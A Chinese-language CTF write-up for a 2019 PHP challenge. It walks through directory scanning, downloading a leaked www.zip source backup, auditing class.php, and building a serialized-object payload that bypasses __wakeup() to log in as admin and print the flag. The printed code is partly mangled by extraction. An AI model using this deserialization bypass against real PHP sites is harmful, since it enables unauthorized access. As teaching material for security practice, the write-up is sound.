极客大挑战 2019php
观察页面,发现页面有写有备份网站的文件,然后就用dirsearch和御剑扫描域名的目录
发现后缀文件名为index.php和www.zip时,状态码为200
因此,在域名后加www.zip的目录信息
http://d94bb716-8ba6-4774-b46f-abb523abfa71.node3.buuoj.cn/www.zip
可以下载压缩包
打开压缩包后发现几个文件,然后逐个打开,发现class.php里的php代码
审计代码
username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; #将guest赋值给$username } function __destruct(){ #销毁时调用 if ($this->password != 100) { #判断password是否等于100 echo "NO!!!hacker!!!"; echo "You name is: "; echo $this->username;echo ""; echo "You password is: "; echo $this->password;echo ""; die(); } if ($this->username === 'admin') { #判断username是否是admin global $flag; #对外部$flag同名引用 echo $flag; }else{ echo "hello my friend~~sorry i can't give you the flag!"; die(); } } } ?>通过代码审计可知只要username=admin且password=100,则可以显示出flag,但是因为有__wakeup()这个函数,所以输入的username会变成guest
而__wakeup()函数,如果表示属性个数的值大于真实属性个数的值,那么就会绕过__wakeup()函数。又因为成员变量使用的是private这个声明私有字段
所以需要将成员变量的值放在new Name()的括号中,且序列化时,类名和字段名的前面都会加上\0的前缀
构造exp得到序列化后的数值
username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "NO!!!hacker!!!"; echo "You name is: "; echo $this->username;echo ""; echo "You password is: "; echo $this->password;echo ""; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "hello my friend~~sorry i can't give you the flag!"; die(); } } } $a=new Name('admin',100); echo serialize($a); ?>得到的结果是
O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
需要在类名和字段名前面加上\0的前缀,同时改变属性的数值,将2改为3
O:4:”Name”:3:{s:14:”\0Name\0username”;s:5:”admin”;s:14:”\0Name\0password”;i:100;}
然后构造payload
index.php?select=O:4:”Name”:3:{s:14:”\0Name\0username”;s:5:”admin”;s:14:”\0Name\0password”;i:100;}
便可得到flag